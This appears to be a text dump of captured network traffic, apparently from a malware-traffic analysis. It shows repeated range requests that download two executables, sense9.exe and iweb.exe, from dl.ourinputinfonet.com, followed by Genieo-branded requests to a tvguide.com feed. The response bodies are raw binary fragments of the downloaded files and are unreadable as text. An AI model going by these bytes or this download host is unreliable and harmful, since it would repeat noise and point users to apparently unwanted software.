.Q2.....J.@[email protected])H.....s..ie....:.u.da.k..N {...5...K`;.=h.
..D..........."8........I{...k .PK...,.;.....b,(\...H...k........Zj...
%X.K.?R..4._.....z/.Mg...r4.9..M..}.H.|......q^.S.O..E..`I.0......P.d.
f..f%.K...:>.......8.._ty..... .*.~....X...r...g..T.ZAM...NN...9#.8
f...X..Ozza.._...w9Jge..#.....#...2..E....MY.8...Vw6e\..<...v.$]8..
......Rg......U?...Z.....uv/HKl<...4.o.z.>..B..K.)..E...J......a
#k.K..v.;......3.u.A..<.F.....b....n.......y .....M.U .W....n...l;a
....~..3|.?......|.Mx..1...t.e.W.@...=.>.8.........J=F. l...]......
[email protected].$-..WW..._.n..QB)...f@.%.F.....$..,.q...2^=..M9.iz=0...
a.......@...$.0..=.K.........Z.E.%.B......x.eM..!.s......)..WmE...*.'.
"6k........!.z...g.@...[......>..x.,Y.u.F...^...;.:..l;.c3.YE.|....
.0 [..&..lqP....WJ..{..x'....s.k..(#.%-il..N...~.Q\"U.y.(...<.a/..z
....}...l..;.......K2.)...2.....[.g%.f...%.<l[\.o.o..XN..SZ.x.I..!.
..I...G...`.G.m..)T...E9B. ..Q.bO..B-.......0i..D...S..._.KS.W.!... ..
C........Z..Q.......6..[. Co....K....P.G.#c0R..e...,$.D:"......9..19..
.Q......·/...^%h4Z.RG..!..Pb...x...l.....Q.....T.|.^....bJJa_.....=.
..!8..T.a.n.$.j)2.D.........o..q,....U.K...;.. j...f.....3.%I...?g.\..
.x/.n*Qp.....I...IW't.'.............W.[B.%.. .J..7..... 6...B.Q.-. ]..
.AD......u..<.(.x.h....h.....k2n....-.y. .... .......9@.... .......
,...u.a....p..]...$.Z gh..~.:.. .....7.fV.^......jsZ...-.ws...i.i..}..
wN.d...J....0...bk....B.....~.d..\0.5...L...e^... ..PD.S.O.D....J6<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.?..2.m.*..[.....:.M..Y... .b;W.m...{...z.......p._....<...V.#..Jj.
[..b.:.........8..wPXs.T.......v....7.q?....!......M.....6R....a#.....
#.Y.6....FDJ6.....Dt.......O...8.*........*...:....G..O<...X}...R..
.i~.\....[I.J....?..^.D..g..K..`..a..X...z<9...>.g..y.......F...
La17.Z.......Pe-......}[email protected] L.x......f..&..V.
...(......._.[Z..._HmC!x.AZ;l..}xQ..=:...|6r.e../.)9H..^.n..w6.BO..X\.
...i.G.&W."..$...].. ..{.;.gz.D.6P..........o.9..E~.1.YV..D.5..d.Y....
x^... ..Z{.....L....:.......... :g.aPlF._....,...C..j.......w.|..G.n_.
.R....Q.s..I...?..&.k. ...Z.htK..5.E...4......(...$..0.\..W.B.]xn...6.
.......1...h.......k..g,9|...4G...m.Dl.$.u..p..2.%..-...p.IE..........
b./r.n.x..#I..l.......".....?.7..}..,......#.#.}\t.-..<...A....k...
....t.\c2..B.P<9...*..k./!.R..-M.S.'4.m.]X...E4..b..D..Kv...F....'Y
......-i.R.hP*N...}[email protected][email protected][email protected].\..EwV8..66.F}.pWI.......
...z0......O-._\..^....~..S..Z.i..o.R.........J...S....9...n......".]r
...K.:f.....Je0.F.....r.......]Rxq.L.OMx....\PxH.W./L.......4..%..~vK.
e....H......,.......W<4.w...p.dY.X..E.....e...i....~J....|!0~y..<
;[email protected]......\.x.......'".~.1....S.7.`.i..(.
....;1S..'.3CN..<. y..E.D..8...~.g=l.zj9sA..o?n....C..2h."........m
RAW.....0{.Kj...7<..W.0......h...Th....~..p"@!...s[........d4)AbP..
k.,.....n.m=w!..d..D....:.}.M.z.. ,b.H...>(.".....d.AnqS'..8......:
..^.0Cb....@X......... ...12...o',.,...............B..}....c..17..Y...
..4y~0c..0bO....?.A.[#...a..@uKF..)g.....V.b'...;.F.e..x..........<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=18

Content-Length: 250000

Content-Range: bytes 2250000-2499999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730955.dop009.am4.t,1431730955.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
Y.X..OaV...^'[email protected]...
.|..T........g(.W......^...-.Q.].-/#...3.;..0....M.. gN/.g.q....):.'B.
....h..f@(/=..@.....:.S.'2.7A..y.U.qU>_r........T...j...o..V8Y.*7.:
 ..r......S...f.[.....H...hP..'.OjFd...**|1..N.3..............z.3Z..'.
:....|..7...?..B...r.~I...,..i....B1.......z....2...........LO4.......
...C..G.c......!.`....OS.....~#.d7...46hF....w`.:zY..m......?....h.Dk.
'%kQ@%[email protected]...(.i....q.Q..y....S..(W
...v..}.j.4..!-O....)[email protected]._B{...>h.gb\$..<}[email protected]...\
.<f<'f/...!.....r.$"............ ....^].QF ;I.s.)j.N.i.y7....a`2
.)...o...... .k.Q3....!. X......lF..Q..#x...Y7{../.....W_..!...;...TC.
).C..c..../K.....L....1k....jw...g.!-.\... .w'.lFTyZJ...e...t..P.<.
..^.NE..D..8..($..Q.o..}S.Y..... E. ....J........v..%...M..$..)4i.....
B....wt.%.f!.......Bh.<8.rI.....g|.g.NV..3e.n.~....bb|......3W..7&g
t;`....S...sc.H"e.......1.N.M.....}:&$.......=.......].......i.u...O.u
..z....'....J..<..|-...f.C.y..ku&.{.f.7......pVH. s....U...Y. w....
.P....VB..........,.&.\...J2.Ht.........cIk.W[..;..Wx..Q....1>3....
.GG...M..2..T..5.Z`^...}...A............p*.8J.8,X..m,Q.........$P.Z..]
0..Xq..t..nT....2,.?..rh....x.U..1. '..........>......B..V..W..1 ..
R..c*S_...U...~...g....<.../..^M.".....ms.......- ..2...N.N...ck;..
2.Q.fAO=........D.$.r. [email protected]........*.......~.......j...c.L&l
t;......O2..1.5........<.~.t..z0x.|.>.....M...Y&.c.).EN.R1...3N=
.Tv...{..d$.)K.y..t.*.....aQ.-.2=....OJ..~.5..C..d.\..y&...{.rBml.<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



ZK`v......^.......t.M.r..-.f"=*.B.....$.P..3..L..T#..w.]..=W..6.!..$..
..K.e...u1..S0..G.6..YO..j.P..X.50...kh..V....T....r"..... ......u%9P.
.....JA.....v.Yr.%;.-....?..#;...^.7.E,Y.r......_..m..Q/........8'.^r.
....W.Il8d...OE...........!...o...A......m.#......_3\uUd}.~.2(...O....
.N..TA...P.`...xQq....}..m....wi..H.........Ko.....]ho4l.G....$5.X..:d
...Y...H....Z..Nff...pin~.:N.......7..=...7Fbn7.....@...._.$..`.......
.R.....B>...O..W...._.D ..r..K.0...O.D......uUrD...dM..uz`>[....
......;., M...G<..5..3c..q...K...K......-8.M..u....A..T..f.q*.....T
Z.........0n..8...?}.\......5&..j.aD-Is;....>z.K.~BX4..A.hU.1ga....
:# N.I..........l.Y..M...GB...z!.R..a..o..,,se i7...l..f...1...W.m.8W.
..8.'..`.H.v....6.j2F.\.:U.K.f...3..ii..a\...3.d...D/..?........]...0-
..j...$..(....I2.2_..l..../.ci.u.. .B.E .p.0.......q...m.AU....by..3..
..A...N....Z}m...L.3..).a.....y..(.......L|..b'.2......M..;l..........
.!..V.8G......F~.Z.0.$..o.e.?......"-9.t....wX..A....9..:.v..Q........
5....h]9>..K...m..\. 'HM..'.#..V[..8A.&.>t#5..wL.QF.w.....6u...~
|.I....kHy...L.G0t~...XK..|....Qs%..O..G..Q.8.....`..S.p.n...F...3.m.,
...p.3^..........nK.b9,[email protected]"A..
;..f..3.Nc.B......|O.;U..74.=.;_.>A...BR.[...../[email protected] ./.G......}.
.gS.......?..:[email protected]..]'....Nl].b.FgF[-....t)
...N.|'.K*<.I1.....C.lk<N..b.....<C...l...bM.I..1..w...G.T...
.y.-a.a".`.^.U......n..W..=.i...Y.*..K.R=P.P....p2.|.2.....G.%@j.MX...
.j].X ...|.7j.... ..05.....<b.A.....q26...._....f<.4H9.`....<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..t...<y..#.H..=,VkB-.Z....?..>.f..&..C.6....Zb..p.GR.).Y..o...X
.g..M.d@).k..<...>.1...ytz)...R.B.......}c..]s.k.#......'......t
......<V..H....l...F./.0S.J.....=([email protected]...\../.k^^..q.T...k.i..
.......n.?J*...0|NC......<..-.y...).. ...L../.D.T...=..P..hp.<..
U.........|...K...xW9....e../.."2.H..m....X..0.J.N...1Z(.AHk..\.r...L.
......:'.==....xH......$`0!4.5..2.DA..l...K...^.VZ.{[email protected]..!/.<G..
N0z....'.m.......W....JB.^...'..].........M).......%`.......=..qU.....
[email protected]_.%6P..-..Rm...g<rU)Q.* K.N...n.,..D....&
gt;C9..\D..=......$=..#}._.'.'..........4O.#....=.u.-..[.......&.<X
.....W9xq.l`.."r.......D...N.....hA.......J.5M..}......(..5.....yM-v$=
#.....] q4.>!........y.qZ-o...!......2(..U .......f........i..P?.3.
.V.L...J.-.c..../vg.)po..57........F.....\?.w........P......L;...P.8=.
[email protected]...%.NFW..?.....-..].....@!..B.aR.?.4lk.;..~.Y...0...6..|..
e...P..a.K].....N-...<..ie.=..Lj/.A......L{.CT4,...... O.bl^of.....
.J....__.>....(n. [..%.....O ._.Z..n..s......%..zlT.OA..  .v.a..u[.
A..K.Z.J.f..,.z.u!5.X.On&[.?.Pn.#. i.b..V.....T....l..:s....!3.x...P..
.^.e...b..uh......v...0E.sECy........r..}:.)[email protected].
...wy&..".Iu.G*.z...\.....'....^.y.....).x\.<..Y..............`....
.@/..X...54 ..Cd..J....0.n ....v<{8R.....eR..S}.G.....t..5..Q......
.=....H...O..u...........X...5..B..M....n;........M..z.....3......u)..
.H.....CAg.K........jx..h.y.Z.lj.....N4........x....E.q....U.I.Y}O..c.
S..).....I...2..G.K...X...2K............BN..<......4z5l.@7.?SG.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.....;.1........0.....3;7B...d.d......$S.PH.{"_...M..?*9n.....\..1K...
.}./(..A....d....>.P..a..O]...|0...X.l.,....wRD&_....]l.zEz..C%l$.I
...=...N...K....AI.%...^....1"...a....;..9b..........o.[S....|c.8Sk*..
.........z....QA.:..C...}$..4....8.p....h.[...d...TG.B'>r.nf,..I...
.H........B.1.D.<...y..F./.Y`...v..T..S...W.D8.Q. ... a.D..o..[;...
..uWv.f..".,.i.%x..,.|0C..`$w<U%.e..v|.>........... [email protected]...
.......J......j8..B].R{H.... /...3...qn.,C.....1.P.....m..}"w.........
O.....v<QT....>HH.%..f4..,a....7..:.2...\V..]4W....$....c..7\...
..../.a7I)...._O#......t...A...'.........}...h...D..*.Y..C,...Ef.r.nC.
............&.v..e.'..G.sw%.. .....W.C8..Zp...D8c...Fx6.s.a....S..R]..
.... ..........".Dm..$..t.z.Z./.....:..E.......}...a......l...,.z.'<
;....*.DZ.@U.\...F........vG........O....(.U ...q......A@.^x.H..m.A.x.
.G.......k.t..HZy..9..R..N3.X..I.s.W.BIS...Z..z........u?...K.`=..y...
.M..P2...1D..U......gd4.."....X....9Xg........R.o.....J!..24../h.2....
........D...1...P...{..gu&..f3.I.7R......`.....c$...b-.tf1...H.H.G.i/.
w..(..4.B.....S.FQ-#%..........Yp........Y.&a.;(..J.. ..u.bV..@g.~z...
...R..'...3.~.hU......G.................f.L........Z0S(..........K..b8
\.......?......I...6...o.9...L....b`....w..&.5...w.Ub.....v..Q..-c....
..&<<...<B.?..?.Y.E....d.O..C.."N....C..o.dJ.#W..R.^... H.?.O
..9...g.}]e..u...}.....k.[.F.B...r.z|..E.........>....].T.^[v:o.8..
}..r..._H..2...Z.1_}.:Ht.Fe.....@./...7Ca..'.&.,[email protected]...
.......C......c..V....?dq...K.....1.....6.n.w.8...4.y.)a..QK.V..QD<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:37 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=16

Content-Length: 250000

Content-Range: bytes 5000000-5249999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730957.dop009.am4.t,1431730957.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.va........4.J#.....)....*..>b...e.1.L..p.7I.(.n...5@. V...?.......
V.x........O.xV......N.w|.5..4G_?....c.L%.I...X.|.-R...z...o....1R.%..
.K[...........Y.....ev~...j. ...9]!..L...........1....QD}.....p....`T.
..........5.....gu.."..q.D..D.T}`....<8#..!.......Z6f..............
G...o>.[..qH..9.s....). ...d.d.-...% MN.&..gvf..i%...#flh.....| QJ.
..5v=.?."$,.B..7W.<h..U.x(...B.ij...h......&h.Kx6.[.J.....C.p...6.1
$.z.......m..Pv..... ..{...9TrM.i.A..s|...w....'.........k..8.......V.
O....F....AQ...eh.\..=3.{...?....?!.C...U.....&...FB.2.Jl-#~.(r...r.._
K.....`.R../;=..O.M.j..w1..I...<[email protected].'i,...K.....uJ.$....
...'.4u....t..*5.........S.=.gJ......JO.LN.....6....W ...c......M.....
.Lg...Q.K*[email protected].\.B8.[zJi.f*B.
CH..(iB.^-,..~.3.................;,..-:...=....m....Z[Cu:.z..P.-.D...e
.v6.JHOQ.U.6.u..$)..'.Vc.]c.X|.b..zX=7.N....4d..Q.|.........PD......n.
.....{.y.... ........$8.....g..4.e.LA..O....r$..>....H.....ST..vZ..
......l...-E.... ..c3..@w. [..6.3..C..i%*1...s....k...b.Q.....<%...
..8.....1w......A.....bl..J%1..5l.......v.....S.....o..d~Q..W.ul.....b
Rv....O|C..........._Zys...H..G..G6.N.1.'.OF...6...{^d.7.....|W...(...
.N....Ab.\|.f..2.p..E!Yq...;M........'.H.Xx#...2...A..I.......G*/7....
T.p#.h;.....b..m.os.A.R..W.. !.Y...Y...0.U:...O.HS...7.D.0PF.....l..w.
kE...`p'.*t{...<N.t..f.? .Y...=.. .5.k.i(..].M]y...q.....]p..L.@N..
.....]#..O.....r.1..Ii4..{8.TF..=.D..z.;.U....Y.....;......9x0./se....
..,..<.=...F.5.J.p4q.gn....E...Cb.....o.biWC....w.......;@..`&l<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=7500000-7
HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:39 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=14

Content-Length: 250000

Content-Range: bytes 7500000-7749999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730959.dop009.am4.t,1431730959.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
G.>...L"y.(..>.8$T.b..v...9o..^$|i.{.Xe....6....u.....Y.8.&...s.
0.;eF....j.Jk...^...Ly.....?B.X#9._......G$^....=.W...^.&K.....x.JG.X.
..1Q.0.Q..t..~.w....%.d<[email protected]....*W....TU..;7....E?g.T...r.....
*6...#....v..s$b....YB{Ar.r...4.`].a..-..\..Z.....%.x..X.=.KQ...:h....
...........fz...F$.R.D.G.....`....KF-"1....Z-...5....!..hk?.~..$3...q8
0<q....P*r}Y8...H.1.....mk.0^.;.I1U..7.a...,4.(...m.%.X.%..'..R....
...Bg...K:-U..GjT....E.>e..R.....B.3z. y...k....V..w.........N.x ..
3..ji..].W....6&....M..|.(...t5.v.A.C.....a....(.c.X.....D.d.pd.8..C0.
.ED5.>6-*!c...E.g7.e.$.I.Ff#....9$....z..D.....i........=...h...q.T
....2.[!.@a.[.C..........".....g.$...p2...3o...F.^..h.^.1.8?*.......M.
I.-.....}H._\.Ap.C..4....W..........Z1.....p.#..-..[<.G.Q..o.>(.
Q...K.#u..._... ...wK..)R^.Y.X.......|.BC..4S....Y..8.R.......=....*..
;...4....&.L....v.F5.2.=...>b....u.R.....}M ..N...N].!<...|@.qCd
 "5.....9Ysw..F.XzIXt...E.f" .7Q.f........S..Iu.A..<F<lOi.......
....R.1..WL.y..@nviY!...[.u..<?<..C;....C]..s.]...h........=>
o..i.....-c..Lq...8...0...e......K..E.Rt.1.g.%D:.. .S..6............t.
.......=x......U.8Z..z.W|.1.\W..oa^...f.L......=)9../%\...B..m..GLe\".
[email protected]@..rM..9.y........^..Q^.:(.qy..Uz..\..b.D.
F../..D...Da...R.b$n.>..:O.8-w..l...I#......?k..x.W..]V .y`.w.`uH.6
.dls...DS8......o.^>....<....J.y......<].BM.kY*.........q.]Z.
~.;[email protected].!.6.......L.GEl..........g....p.$...t
 .3 .rq...9q.....|Uwz$...|Y.m...C...~....Y..rz.q?N....Ck........W.<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8250000-8499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=8000000-8249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8500000-8749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=8500000-8749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9000000-9249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=9000000-9249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9500000-9749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:39 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698357"

Last-Modified: Fri, 15 May 2015 13:59:17 GMT

Cache-Control: max-age=3413

Content-Length: 250000

Content-Range: bytes 9500000-9749999/10540512

Content-Type: application/x-msdownload

X-HW: 1431730960.dop009.am4.t,1431730959.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"
.*.....!.....^.N.4..?Q.:...a.a.H......0.K.{.c.O..q^.a\...7q..I.9UPIs..
.. 9X'..*...=*...c.]G7&.LT1|w..c...F..Il..w..N...2d..h...@.=|^..%.....
....YY.H_\.Z..5\p...J.$..oy..~p.!....r.~..~K.P9*.Vg.Sp'.....^[..\.w...
......R9.~;.a..g.Gj/........D.;`.4fA.n...2...>..YK...G..W}2E.C.. .!
E...9...25}9.S.2..r){........-....>....>.&.Lw.]5...{.K......J..J
..)Z.....J.K...4..ne9....<..Z..OR3.VI.}......HYSe.....:...:/.....?&
lt; .. ..e..s>L...oFE..4.........$.M.bO.;.n.....nm....Qd5 ........F
[email protected].>...^q87.....&...m.5.}.<G...I&...l,..H....j...![].4.
...JN<..N../.'...Y......M.L.d. 0.e......Ew ....x..klN.f....._..'...
...9.....V.#.......uE.c`...w...^.u...1...#&."1a.O"?T.\.r....6V'.....6.
.e[..-..K.^..*.....?.t^[email protected]...]....R..E..4[.
43..<..)c..c..g..I%J <......L.r..J{1P/....Z....^.M..dKS...,8....
.........h.>:...s..{....^ ..D.tWK.'.vJfW.....<]......K..W.3,|..]
...k:..!.Z.^.?...s......f.>.ta...5..^l[.g.....>La......B5.rD....
.S.v.Ir.$...,.sE..R.8<{.......:..&.z...B....P.....i.&.U.v.8.pw.....
.E..%`s....`..,...X.....nO.....*t..D..HE.^K..9j51S...:.~...-...$#....1
.....mn..).)l.....Pz...C...R`.p..,..L......>..k`..kaX.......V.R..Se
.....):...).$.1cod........}HFu..<..^....#]uLo~.b`..v)M..[ .g.8..S..
.\......'..............2....r.^........,..S...G~!{.t.....G4...=.)...;3
6.D..8*..!....f.L.....1V...&. nc|....[^.s..x........,...#.2 ;..Cw..C9W
<QK.c..l.*h.....(.0}S ...\..g.....I^.`.`.....SD.s...U.....v.....Z..
.O,.?u..N^...b.;B.........`.........k.y.....A....p.a?.'..\....5..k<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=10000000-10249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=10000000-10249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



;.z...o...d.j.n..0.vi. .Ht..NT...^1.r..3.........!.._.BQc..O......U..1
p.....LG.h.........5|W......x.>.$z..L.Q..`...6....6k._...>...1..
S....J...:@..Q.. ...W.1....HU.;......u..GV..Q.@.#.mQ....S.....b...g@_.
....K!l..E...y.....xJ[.......k... .yt...CR0W.....]co..N.......MY[..._B
..'.T]{.6..;K....G.DqC)g...K[.0"U.}....Y..>.$.Kl....z.L...P..\...B.
...K.DY..n...._..1....C..g.......u.S......o<.th....7......\....DLqO
".$).......W2.$..};.......0...e..x......4.4J...O...R............._.F..
..c5hAG.......8V....v?....-.U.I.....=.H..._.RP.....4.qUt.b....NR :..A.
.m.^....C..yK.0a..V.....F.17........U..#]..9{[email protected]..!.D
..VJ._.,...p.VzK.9)[email protected]] ....7..xv........?I^.N...K..2
..."....n.V.ox.`...P....7T...s*Q..b.9yP..8.W[...|..voH J.8.... .......
.."..4.29.eoSL.._.. utAp."D%.H..1...Y....Wt......j...Y.a;SGo{t../!.N..
.r>.*..._..}.5L..]\.~.P..?O)S.~.R.>.6..0`g$..{$5U.....|.F..nA.G`
....D<..........]`#..U..V......F.......[M...q.........=G.KV..).0.`.
.B.`....E.Z0.../........,G.....O...n:...n...%.G....f.cq...b....I.tZ.@.
.=..t....$......../..........w'.R.#...M.C..._`..hP. ... .....X..h....(
,.).6'..(S..]......Y....d..(*R..IV.f....?<[email protected]...
-4...%.i.^m^.bN.....O..H*r...Taf2.b..emu........Q.....=..G.`.$.....D.H
.Bo..j.{%..Qh..I>..k.....>...}..^...W....E...I.,'.......(..x....
.(....m .7.....8.......T".>;UxR.....g...9.....f0^..XrI=....X....r..
rA.n.J.. ..0A.).II.]........#.(o...^<8.k..n....V..J$..p=y.\k.8P.p..
...3."..)c[.;....h~.;.wm&..s%8(.]....3..&5...~C.8/...o...h..J...&l<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain

Content-Encoding: gzip

Last-Modified: Tue, 23 Sep 2008 14:49:00 GMT

Accept-Ranges: bytes

ETag: "05676838b1dc91:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 164

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
[email protected]..)w..ws..|.O.Q.....#......s..MW
W...h......O..l.Y...^C.b..>M..Cf.....f.......6.V.z.........>.V..
*-...v....... .c|.Q.6.h.?.W.......


GET /Movie-News HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: application/xml

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Cache-Control: private, max-age=19

Date: Fri, 15 May 2015 23:05:00 GMT

Content-Length: 356

Connection: keep-alive

............AN.0...Ozw..o.. T...!. DQ...L....l.....H\.qH.J...Jf.......
...Kc..}...."..1..U..u....*....p...-.F.6....Xgu... ...._E.\.].....V...
.7...*.h.A...yqf.......B....:..F.2R.......PP.u4X...Fv.}`..Z.........&g
t;.'..........0H..H.............O;v......=t..CM..k..E.cd...OW8........
.|/B.R....Z....h4e....g..F..)...OVo...l.....8.r.....y./..W.0..0?.O:...
...@.........

GET /Movie-News HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: application/xml

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Cache-Control: private, max-age=19

Date: Fri, 15 May 2015 23:05:00 GMT

Content-Length: 356

Connection: keep-alive

............AN.0...Ozw..o.. T...!. DQ...L....l.....H\.qH.J...Jf.......
...Kc..}...."..1..U..u....*....p...-.F.6....Xgu... ...._E.\.].....V...
.7...*.h.A...yqf.......B....:..F.2R.......PP.u4X...Fv.}`..Z.........&g
t;.'..........0H..H.............O;v......=t..CM..k..E.cd...OW8........
.|/B.R....Z....h4e....g..F..)...OVo...l.....8.r.....y./..W.0..0?.O:...
[email protected]/1.1 200 OK..Content-Type: application/xml..Content-Encod
ing: gzip..Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-Powered
-By: ASP.NET..Cache-Control: private, max-age=19..Date: Fri, 15 May 20
15 23:05:00 GMT..Content-Length: 356..Connection: keep-alive..........
....AN.0...Ozw..o.. T...!. DQ...L....l.....H\.qH.J...Jf..........Kc..}
